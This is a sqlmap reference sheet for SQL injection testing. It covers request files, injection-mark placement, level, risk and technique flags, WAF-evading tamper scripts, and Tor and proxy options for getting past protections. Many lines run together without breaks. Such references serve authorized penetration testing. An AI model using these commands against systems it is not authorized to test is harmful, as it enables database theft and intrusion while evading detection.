# save request from Burp → Copy to file → request.txtsqlmap -r request.txt --batchsqlmap -r request.txt -p id --dbms=mysqlsqlmap -r request.txt --force-ssl # if the saved request was HTTPS
Injection Mark *
?id=1* # GET parameter
Cookie: session=abc; id=1* # cookie
{"user":"admin","id":1*} # JSON body
X-Forwarded-For: 127.0.0.1* # header
--batch # take defaults on every prompt--parse-errors # surface DBMS errors inline-v 6 # max verbosity (prints every request/response)-t /tmp/traffic.txt # log full traffic to file--proxy="http://127.0.0.1:8080" # pipe through Burp--flush-session # forget previous findings for this target--fresh-queries # re-run queries, don't reuse cache
Level / Risk / Technique
--level=1..5 # default 1 — raise to extend payloads + boundaries--level=5 --risk=3 # kitchen sink (7800+ payloads)--risk=1..3 # default 1 — 3 enables OR-based destructive payloads--technique=BEUSTQ # default; restrict with any subset:# B = Boolean-based blind# E = Error-based# U = UNION query# S = Stacked queries# T = Time-based blind# Q = Inline queries--technique=BEU # skip time-based (fast)--technique=E # error-based only (good for --os-shell)--dbms=mysql # skip fingerprint, pin DBMS--prefix="')" --suffix="-- -" # manual boundaries--string="Welcome" # TRUE signal--not-string="Invalid" # FALSE signal--code=200 # TRUE = HTTP 200--titles # compare <title>--text-only # strip HTML, compare visible text--threads=10 # up to 10 concurrent requests
--union-cols=17--union-char='a' # non-NULL filler--union-from=users # needed for Oracle-style DBs
Tamper Scripts (Common Combos)
--list-tampers # show all installed--tamper=space2comment # /**/ for spaces--tamper=space2comment,charencode,randomcase--tamper=between,randomcase # replace = with BETWEEN--tamper=equaltolike # = → LIKE--tamper=base64encode # base64 payload--tamper=modsecurityversioned # ModSec bypass--tamper=space2hash,halfversionedmorekeywords # MySQL--tamper=space2mssqlblank,charunicodeencode # MSSQL--tamper=percentage,apostrophenullencode # ASP/.NET
Protection Bypass / Transport
--random-agent--skip-waf # skip heuristic WAF probe--proxy="http://127.0.0.1:8080"--proxy-file="proxies.txt"--tor --tor-type=SOCKS5 --check-tor--delay=1 --timeout=30 --retries=5 # go slow if rate-limited--chunked # chunked POST body--hpp # HTTP parameter pollution--csrf-token="csrf_token" # name of the CSRF param--csrf-url="http://target/login" # fetch fresh token from this URL--randomize=nonce--eval="import hashlib; h=hashlib.md5(str(id).encode()).hexdigest()"